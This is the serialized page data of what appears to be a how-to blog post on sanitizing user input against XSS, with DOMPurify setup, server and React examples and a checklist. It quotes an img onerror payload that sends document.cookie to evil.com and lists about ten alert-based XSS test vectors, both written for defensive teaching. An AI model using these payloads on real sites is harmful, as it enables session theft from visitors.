[{"data":1,"prerenderedAt":386},["ShallowReactive",2],{"blog-how-to/sanitize-input":3},{"id":4,"title":5,"body":6,"category":366,"date":367,"dateModified":368,"description":369,"draft":370,"extension":371,"faq":372,"featured":370,"headerVariant":373,"image":372,"keywords":372,"meta":374,"navigation":375,"ogDescription":376,"ogTitle":372,"path":377,"readTime":372,"schemaOrg":378,"schemaType":379,"seo":380,"sitemap":381,"stem":382,"tags":383,"twitterCard":384,"__hash__":385},"blog/blog/how-to/sanitize-input.md","How to Sanitize User Input",{"type":7,"value":8,"toc":346},"minimark",[9,13,17,21,30,35,51,55,58,73,77,99,115,131,147,163,215,219,222,228,234,238,242,248,252,258,262,268,272,278,284,299,305,311,317,327],[10,11],"category-badge",{"category":12},"How-To Guide",[14,15,5],"h1",{"id":16},"how-to-sanitize-user-input",[18,19,20],"p",{},"Stop attackers from injecting malicious code through your forms",[22,23,24,27],"tldr",{},[18,25,26],{},"TL;DR (20 minutes)",[18,28,29],{},"Never trust user input. Use DOMPurify to sanitize HTML on both client and server. Define strict allowlists for tags and attributes. Sanitize before storing AND before rendering. Escape output in the right context (HTML, URL, JavaScript).",[31,32,34],"h2",{"id":33},"prerequisites","Prerequisites",[36,37,38,42,45,48],"ul",{},[39,40,41],"li",{},"Node.js 18+ installed",[39,43,44],{},"A React, Next.js, or Node.js project",[39,46,47],{},"Basic understanding of XSS vulnerabilities",[39,49,50],{},"npm or yarn package manager",[31,52,54],{"id":53},"why-sanitization-matters","Why Sanitization Matters",[18,56,57],{},"User input is the primary attack vector for XSS (Cross-Site Scripting) attacks. When unsanitized input is rendered in the browser, attackers can inject scripts that steal cookies, redirect users, or modify page content.",[59,60,61],"danger-box",{},[18,62,63,67,68,72],{},[64,65,66],"strong",{},"Real Attack Example:"," A user submits ",[69,70,71],"code",{},"\u003Cimg src=x onerror=\"fetch('https://evil.com/steal?c='+document.cookie)\">"," as their \"bio\". Without sanitization, this steals every visitor's session cookie.",[31,74,76],{"id":75},"step-by-step-guide","Step-by-Step Guide",[78,79,81,86,89],"step",{"number":80},"1",[82,83,85],"h3",{"id":84},"install-dompurify","Install DOMPurify",[18,87,88],{},"DOMPurify is the most trusted HTML sanitization library. Install it along with the isomorphic version for server-side use:",[90,91,96],"pre",{"className":92,"code":94,"language":95},[93],"language-text","# For client-side only\nnpm install dompurify\nnpm install @types/dompurify --save-dev\n\n# For server-side (Next.js, Node.js)\nnpm install isomorphic-dompurify\n","text",[69,97,94],{"__ignoreMap":98},"",[78,100,102,106,109],{"number":101},"2",[82,103,105],{"id":104},"create-a-sanitization-utility","Create a sanitization utility",[18,107,108],{},"Create a reusable sanitization module with strict defaults:",[90,110,113],{"className":111,"code":112,"language":95},[93],"// lib/sanitize.ts\nimport DOMPurify from 'isomorphic-dompurify';\n\n// Strict config for user-generated content\nconst STRICT_CONFIG = {\n  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],\n  ALLOWED_ATTR: [],\n  ALLOW_DATA_ATTR: false,\n};\n\n// Config that allows links (for comments, bios)\nconst WITH_LINKS_CONFIG = {\n  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li', 'a'],\n  ALLOWED_ATTR: ['href'],\n  ALLOW_DATA_ATTR: false,\n  ADD_ATTR: ['target', 'rel'],\n};\n\nexport function sanitizeStrict(dirty: string): string {\n  return DOMPurify.sanitize(dirty, STRICT_CONFIG);\n}\n\nexport function sanitizeWithLinks(dirty: string): string {\n  const clean = DOMPurify.sanitize(dirty, WITH_LINKS_CONFIG);\n  // Force external links to open safely\n  return clean.replace(/\u003Ca /g, '\u003Ca target=\"_blank\" rel=\"noopener noreferrer\" ');\n}\n\nexport function sanitizePlainText(dirty: string): string {\n  // Strip ALL HTML, return plain text only\n  return DOMPurify.sanitize(dirty, { ALLOWED_TAGS: [] });\n}\n\nexport function escapeHtml(str: string): string {\n  // For contexts where you need escaped HTML entities\n  const map: Record\u003Cstring, string> = {\n    '&': '&amp;',\n    '\u003C': '&lt;',\n    '>': '&gt;',\n    '\"': '&quot;',\n    \"'\": '&#039;',\n  };\n  return str.replace(/[&\u003C>\"']/g, m => map[m]);\n}\n",[69,114,112],{"__ignoreMap":98},[78,116,118,122,125],{"number":117},"3",[82,119,121],{"id":120},"sanitize-in-your-api-routes","Sanitize in your API routes",[18,123,124],{},"Always sanitize on the server before storing data:",[90,126,129],{"className":127,"code":128,"language":95},[93],"// app/api/comments/route.ts\nimport { sanitizeWithLinks, sanitizePlainText } from '@/lib/sanitize';\nimport { z } from 'zod';\n\nconst CommentSchema = z.object({\n  content: z.string().min(1).max(5000),\n  authorName: z.string().min(1).max(100),\n});\n\nexport async function POST(request: Request) {\n  const body = await request.json();\n  const result = CommentSchema.safeParse(body);\n\n  if (!result.success) {\n    return Response.json({ error: 'Invalid input' }, { status: 400 });\n  }\n\n  // Sanitize before storing\n  const sanitizedContent = sanitizeWithLinks(result.data.content);\n  const sanitizedName = sanitizePlainText(result.data.authorName);\n\n  const comment = await db.comment.create({\n    data: {\n      content: sanitizedContent,\n      authorName: sanitizedName,\n    },\n  });\n\n  return Response.json(comment, { status: 201 });\n}\n",[69,130,128],{"__ignoreMap":98},[78,132,134,138,141],{"number":133},"4",[82,135,137],{"id":136},"sanitize-when-rendering-defense-in-depth","Sanitize when rendering (defense in depth)",[18,139,140],{},"Even if you sanitize on input, sanitize again when rendering. This protects against database compromises or bugs:",[90,142,145],{"className":143,"code":144,"language":95},[93],"// components/Comment.tsx\nimport DOMPurify from 'dompurify';\n\ninterface CommentProps {\n  content: string;\n  authorName: string;\n}\n\nexport function Comment({ content, authorName }: CommentProps) {\n  // Sanitize again before rendering\n  const safeContent = DOMPurify.sanitize(content, {\n    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'a'],\n    ALLOWED_ATTR: ['href', 'target', 'rel'],\n  });\n\n  return (\n    \u003Cdiv className=\"comment\">\n      \u003Ch4>{authorName}\u003C/h4> {/* React escapes this automatically */}\n      \u003Cdiv dangerouslySetInnerHTML={{ __html: safeContent }} />\n    \u003C/div>\n  );\n}\n",[69,146,144],{"__ignoreMap":98},[78,148,150,154,157],{"number":149},"5",[82,151,153],{"id":152},"handle-different-contexts","Handle different contexts",[18,155,156],{},"Different contexts require different sanitization:",[90,158,161],{"className":159,"code":160,"language":95},[93],"// URL context - validate protocol\nfunction sanitizeUrl(url: string): string {\n  try {\n    const parsed = new URL(url);\n    // Only allow http and https\n    if (!['http:', 'https:'].includes(parsed.protocol)) {\n      return '#';\n    }\n    return parsed.href;\n  } catch {\n    return '#';\n  }\n}\n\n// Usage\n\u003Ca href={sanitizeUrl(userProvidedUrl)}>Link\u003C/a>\n\n// CSS context - use allowlists\nconst SAFE_COLORS = ['red', 'blue', 'green', 'purple', 'orange'];\nfunction sanitizeColor(color: string): string {\n  return SAFE_COLORS.includes(color.toLowerCase()) ? color : 'gray';\n}\n\n// JSON context - validate structure\nfunction sanitizeJsonString(jsonStr: string): object | null {\n  try {\n    const parsed = JSON.parse(jsonStr);\n    // Validate against expected schema\n    return MySchema.parse(parsed);\n  } catch {\n    return null;\n  }\n}\n",[69,162,160],{"__ignoreMap":98},[164,165,166,169],"warning-box",{},[18,167,168],{},"Security Checklist",[36,170,171,174,177,180,191,202,205,212],{},[39,172,173],{},"Sanitize ALL user input, including hidden fields and headers",[39,175,176],{},"Use allowlists (not blocklists) for HTML tags and attributes",[39,178,179],{},"Sanitize on the server (primary) AND client (defense in depth)",[39,181,182,183,186,187,190],{},"Never use ",[69,184,185],{},"eval()",", ",[69,188,189],{},"innerHTML",", or template literals with user input",[39,192,193,194,197,198,201],{},"Validate URLs before using in ",[69,195,196],{},"href"," or ",[69,199,200],{},"src"," attributes",[39,203,204],{},"Set Content Security Policy headers to block inline scripts",[39,206,207,208,211],{},"Use ",[69,209,210],{},"httpOnly"," cookies so stolen XSS can't access session tokens",[39,213,214],{},"Log sanitization events to detect attack attempts",[31,216,218],{"id":217},"how-to-verify-it-worked","How to Verify It Worked",[18,220,221],{},"Test your sanitization with these common XSS payloads:",[90,223,226],{"className":224,"code":225,"language":95},[93],"// Test payloads - none of these should execute\nconst testPayloads = [\n  '\u003Cscript>alert(\"XSS\")\u003C/script>',\n  '\u003Cimg src=x onerror=alert(\"XSS\")>',\n  '\u003Csvg onload=alert(\"XSS\")>',\n  '\u003Ca href=\"javascript:alert(\\'XSS\\')\">click\u003C/a>',\n  '\u003Cdiv onmouseover=\"alert(\\'XSS\\')\">hover\u003C/div>',\n  '\u003Ciframe src=\"javascript:alert(\\'XSS\\')\">',\n  '\u003Cbody onload=alert(\"XSS\")>',\n  '\u003Cinput onfocus=alert(\"XSS\") autofocus>',\n  '\u003Cmarquee onstart=alert(\"XSS\")>',\n  '\u003Cdetails open ontoggle=alert(\"XSS\")>',\n];\n\n// Automated test\ntestPayloads.forEach(payload => {\n  const sanitized = sanitizeStrict(payload);\n  console.log(`Input: ${payload}`);\n  console.log(`Output: ${sanitized}`);\n  console.log(`Safe: ${!sanitized.includes('onerror') && !sanitized.includes('javascript:')}`);\n  console.log('---');\n});\n",[69,227,225],{"__ignoreMap":98},[229,230,231],"tip-box",{},[18,232,233],{},"Pro Tip:\nUse browser DevTools to inspect rendered HTML. Right-click the element containing user content and select \"Inspect\". Verify that no script tags, event handlers, or javascript: URLs are present.",[31,235,237],{"id":236},"common-errors-and-troubleshooting","Common Errors and Troubleshooting",[82,239,241],{"id":240},"error-dompurify-is-not-defined-server-side","Error: DOMPurify is not defined (server-side)",[90,243,246],{"className":244,"code":245,"language":95},[93],"// Problem: Using browser DOMPurify on server\nimport DOMPurify from 'dompurify'; // Wrong for server\n\n// Solution: Use isomorphic version\nimport DOMPurify from 'isomorphic-dompurify'; // Works everywhere\n",[69,247,245],{"__ignoreMap":98},[82,249,251],{"id":250},"error-content-is-completely-stripped","Error: Content is completely stripped",[90,253,256],{"className":254,"code":255,"language":95},[93],"// Problem: Overly restrictive config\nconst config = { ALLOWED_TAGS: [] }; // Strips everything\n\n// Solution: Allow the tags you need\nconst config = {\n  ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'em', 'strong'],\n  ALLOWED_ATTR: [],\n};\n",[69,257,255],{"__ignoreMap":98},[82,259,261],{"id":260},"error-links-dont-work-after-sanitization","Error: Links don't work after sanitization",[90,263,266],{"className":264,"code":265,"language":95},[93],"// Problem: href not in allowed attributes\nconst config = {\n  ALLOWED_TAGS: ['a'],\n  ALLOWED_ATTR: [], // Missing href!\n};\n\n// Solution: Include href in allowed attributes\nconst config = {\n  ALLOWED_TAGS: ['a'],\n  ALLOWED_ATTR: ['href'],\n};\n",[69,267,265],{"__ignoreMap":98},[82,269,271],{"id":270},"error-sanitization-is-too-slow","Error: Sanitization is too slow",[90,273,276],{"className":274,"code":275,"language":95},[93],"// Problem: Sanitizing on every render\nfunction Comment({ content }) {\n  // This runs on every render!\n  const safe = DOMPurify.sanitize(content);\n  return \u003Cdiv dangerouslySetInnerHTML={{ __html: safe }} />;\n}\n\n// Solution: Memoize or sanitize once when storing\nimport { useMemo } from 'react';\n\nfunction Comment({ content }) {\n  const safe = useMemo(() => DOMPurify.sanitize(content), [content]);\n  return \u003Cdiv dangerouslySetInnerHTML={{ __html: safe }} />;\n}\n",[69,277,275],{"__ignoreMap":98},[279,280,281],"faq-section",{},[18,282,283],{},"Frequently Asked Questions",[285,286,288],"faq-item",{"question":287},"Is React's automatic escaping enough?",[18,289,290,291,294,295,298],{},"React escapes content in JSX expressions like ",[69,292,293],{},"{userInput}",", which is safe. But if you use ",[69,296,297],{},"dangerouslySetInnerHTML",", render to non-JSX contexts, or interpolate into URLs/attributes, you need explicit sanitization.",[285,300,302],{"question":301},"Should I sanitize on input or output?",[18,303,304],{},"Both. Sanitize on input (before storing) to keep your database clean and reduce storage of malicious content. Sanitize on output (before rendering) as defense in depth in case your database is compromised or a bug bypasses input sanitization.",[285,306,308],{"question":307},"Why not use a blocklist instead of allowlist?",[18,309,310],{},"Blocklists are impossible to maintain. There are hundreds of ways to inject scripts (event handlers, data URLs, obscure tags, encoding tricks). Attackers constantly find new bypasses. Allowlists define exactly what's safe, blocking everything else.",[285,312,314],{"question":313},"Can I trust input from authenticated users?",[18,315,316],{},"No. Authenticated users can still be attackers, or their accounts could be compromised. Always sanitize regardless of authentication status.",[285,318,320],{"question":319},"How do I sanitize Markdown content?",[18,321,322,323,326],{},"First convert Markdown to HTML using a library like ",[69,324,325],{},"marked",", then sanitize the HTML output with DOMPurify. Never render raw Markdown HTML without sanitization.",[328,329,330,336,341],"related-articles",{},[331,332],"related-card",{"description":333,"href":334,"title":335},"Comprehensive XSS prevention strategies","/blog/how-to/protect-against-xss","Protect Against XSS Attacks",[331,337],{"description":338,"href":339,"title":340},"Schema validation with Zod","/blog/how-to/validate-user-input","Validate User Input",[331,342],{"description":343,"href":344,"title":345},"CSP and other protective headers","/blog/how-to/add-security-headers","Add Security Headers",{"title":98,"searchDepth":347,"depth":347,"links":348},2,[349,350,351,359,360],{"id":33,"depth":347,"text":34},{"id":53,"depth":347,"text":54},{"id":75,"depth":347,"text":76,"children":352},[353,355,356,357,358],{"id":84,"depth":354,"text":85},3,{"id":104,"depth":354,"text":105},{"id":120,"depth":354,"text":121},{"id":136,"depth":354,"text":137},{"id":152,"depth":354,"text":153},{"id":217,"depth":347,"text":218},{"id":236,"depth":347,"text":237,"children":361},[362,363,364,365],{"id":240,"depth":354,"text":241},{"id":250,"depth":354,"text":251},{"id":260,"depth":354,"text":261},{"id":270,"depth":354,"text":271},"how-to","2026-01-22","2026-02-02","Step-by-step guide to sanitizing user input. HTML sanitization, XSS prevention with DOMPurify, server-side sanitization, and security best practices.",false,"md",null,"yellow",{},true,"Prevent XSS attacks with proper input sanitization. DOMPurify, server-side validation, and best practices.","/blog/how-to/sanitize-input","[object Object]","HowTo",{"title":5,"description":369},{"loc":377},"blog/how-to/sanitize-input",[],"summary_large_image","ZmZvYuQ4ns_sW-PEF8_FxzLyDW837jDw35wo4gps8TM",1775843927842]